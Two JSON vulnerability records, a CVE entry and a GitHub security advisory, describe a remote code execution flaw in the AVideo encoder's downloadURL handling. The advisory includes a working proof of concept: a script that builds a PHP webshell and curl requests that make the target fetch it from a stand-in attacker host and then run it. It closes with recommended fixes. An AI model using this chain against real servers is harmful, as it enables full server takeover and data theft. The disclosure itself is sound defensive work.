{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL\u0027s filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. Commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contains a patch."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, la funci\u00f3n `downloadVideoFromDownloadURL()` en `objects/aVideoEncoder.json.php` guarda contenido remoto en un directorio temporal accesible por web usando el nombre de archivo y la extensi\u00f3n de la URL original (incluyendo \u0027.php\u0027). Al proporcionar un par\u00e1metro `resolution` inv\u00e1lido, un atacante desencadena un `die()` temprano a trav\u00e9s de `forbiddenPage()` antes de que el archivo temporal pueda ser movido o limpiado, dejando un archivo PHP ejecutable persistentemente accesible bajo la ra\u00edz web en `videos/cache/tmpFile/`. El commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contiene un parche."
    }
  ],
  "id": "CVE-2026-33717",
  "lastModified": "2026-03-25T14:57:45.480",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-23T19:16:42.497",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-434"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:28:38Z",
    "nvd_published_at": "2026-03-23T19:16:42Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL\u0027s filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`.\n\n## Details\n\nThe vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations.\n\n**Step 1 \u2014 File download preserves dangerous extension:**\n\nIn `objects/aVideoEncoder.json.php`, when a `downloadURL` parameter is provided, the file is downloaded and saved with the URL\u0027s original basename:\n\n```php\n// objects/aVideoEncoder.json.php:361-365\n$_FILES[\u0027video\u0027][\u0027name\u0027] = basename($downloadURL);  // preserves .php extension\n$temp = Video::getStoragePath() . \"cache/tmpFile/\" . $_FILES[\u0027video\u0027][\u0027name\u0027];\nmake_path($temp);\n$bytesSaved = file_put_contents($temp, $file);\n```\n\nThe `format` parameter (validated against `$global[\u0027allowedExtension\u0027]` at line 42) is only used later for the *final* destination filename (line 238), not for the temp file. The temp file uses `basename($downloadURL)` directly, allowing any extension including `.php`.\n\n**Step 2 \u2014 Resolution validation aborts after file write:**\n\nAfter the file is downloaded and written to disk (line 156), the resolution is validated:\n\n```php\n// objects/aVideoEncoder.json.php:229-233\nif (!in_array($_REQUEST[\u0027resolution\u0027], $global[\u0027avideo_possible_resolutions\u0027])) {\n    $msg = \"This resolution is not possible {$_REQUEST[\u0027resolution\u0027]}\";\n    _error_log($msg);\n    forbiddenPage($msg);  // calls die() \u2014 execution stops here\n}\n```\n\nThe `forbiddenPage()` function (in `objects/functionsSecurity.php:567-573`) detects the JSON content type set at line 26 and calls `die()`:\n\n```php\nif (empty($unlockPassword) \u0026\u0026 isContentTypeJson()) {\n    // ...\n    die(json_encode($obj));  // line 573 \u2014 execution terminates\n}\n```\n\n**Step 3 \u2014 Cleanup never reached:**\n\nThe `decideMoveUploadedToVideos()` call at line 243, which would move the temp file to its final destination with the safe `format` extension, is never reached because `forbiddenPage()` terminates execution first.\n\n**Step 4 \u2014 No execution restrictions on temp directory:**\n\nThe `videos/cache/tmpFile/` directory has no `.htaccess` file restricting PHP execution. The root `.htaccess` `FilesMatch` on line 73 blocks extensions matching `php[a-z0-9]+` (e.g., `.php5`, `.phtml`) but does **not** match plain `.php`.\n\n## PoC\n\n**Prerequisites:** An authenticated user account with `canUpload` permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size.\n\n**Step 1 \u2014 Prepare the PHP payload (on attacker server):**\n\n```bash\n# Create a PHP webshell padded to \u003e=20KB to pass the minimum size check\npython3 -c \"\npayload = b\u0027\u003c?php echo \\\"RCE:\\\".php_uname(); ?\u003e\u0027\npadding = b\u0027\\n\u0027 + b\u0027/\u0027 * (20001 - len(payload))\nopen(\u0027shell.php\u0027, \u0027wb\u0027).write(payload + padding)\n\"\n# Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php)\n```\n\n**Step 2 \u2014 Trigger the download with invalid resolution:**\n\n```bash\ncurl -X POST \u0027https://target.example.com/objects/aVideoEncoder.json.php\u0027 \\\n  -d \u0027user=uploader_username\u0027 \\\n  -d \u0027pass=uploader_password\u0027 \\\n  -d \u0027format=mp4\u0027 \\\n  -d \u0027downloadURL=https://attacker.example.com/shell.php\u0027 \\\n  -d \u0027resolution=9999\u0027\n```\n\nExpected response: `{\"error\":true,\"msg\":\"This resolution is not possible 9999\",\"forbiddenPage\":true}`\n\n**Step 3 \u2014 Access the persisted PHP file:**\n\n```bash\ncurl \u0027https://target.example.com/videos/cache/tmpFile/shell.php\u0027\n```\n\nExpected output: `RCE:Linux target 5.15.0-...` \u2014 confirming arbitrary PHP code execution on the server.\n\n## Impact\n\nAn authenticated user with standard upload permissions can achieve **Remote Code Execution** on the server. This allows:\n\n- Full server compromise \u2014 read/write arbitrary files, execute system commands\n- Access to database credentials and all stored user data\n- Lateral movement to other services on the same network\n- Modification or destruction of all video content and platform configuration\n- Use of the server as a pivot point for further attacks\n\nThe attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application\u0027s normal upload/video processing logs beyond the download attempt.\n\n## Recommended Fix\n\n**Fix 1 (Primary) \u2014 Validate file extension in `downloadVideoFromDownloadURL()`:**\n\n```php\n// objects/aVideoEncoder.json.php \u2014 in downloadVideoFromDownloadURL(), after line 360\nfunction downloadVideoFromDownloadURL($downloadURL)\n{\n    global $global, $obj;\n    $downloadURL = trim($downloadURL);\n\n    // ... existing SSRF check ...\n\n    // NEW: Validate the file extension against allowed extensions\n    $urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION));\n    if (!in_array($urlExtension, $global[\u0027allowedExtension\u0027])) {\n        __errlog(\"aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: \" . $urlExtension);\n        return false;\n    }\n\n    // ... rest of function ...\n}\n```\n\n**Fix 2 (Defense in depth) \u2014 Move resolution validation before file download:**\n\n```php\n// objects/aVideoEncoder.json.php \u2014 move lines 227-236 to BEFORE line 154\n// Validate resolution BEFORE downloading anything\nif (!empty($_REQUEST[\u0027resolution\u0027])) {\n    if (!in_array($_REQUEST[\u0027resolution\u0027], $global[\u0027avideo_possible_resolutions\u0027])) {\n        $msg = \"This resolution is not possible {$_REQUEST[\u0027resolution\u0027]}\";\n        _error_log($msg);\n        forbiddenPage($msg);\n    }\n}\n// Then proceed with download...\n```\n\n**Fix 3 (Defense in depth) \u2014 Add `.htaccess` to temp directory:**\n\nCreate `videos/cache/tmpFile/.htaccess`:\n```apache\n# Deny execution of all scripts in temp directory\n\u003cFilesMatch \"\\.(?i:php|phtml|phar|php[0-9]|shtml)$\"\u003e\n    Require all denied\n\u003c/FilesMatch\u003e\nphp_flag engine off\n```",
  "id": "GHSA-8wf4-c4x3-h952",
  "modified": "2026-03-25T21:28:38Z",
  "published": "2026-03-25T21:28:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33717"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL"
}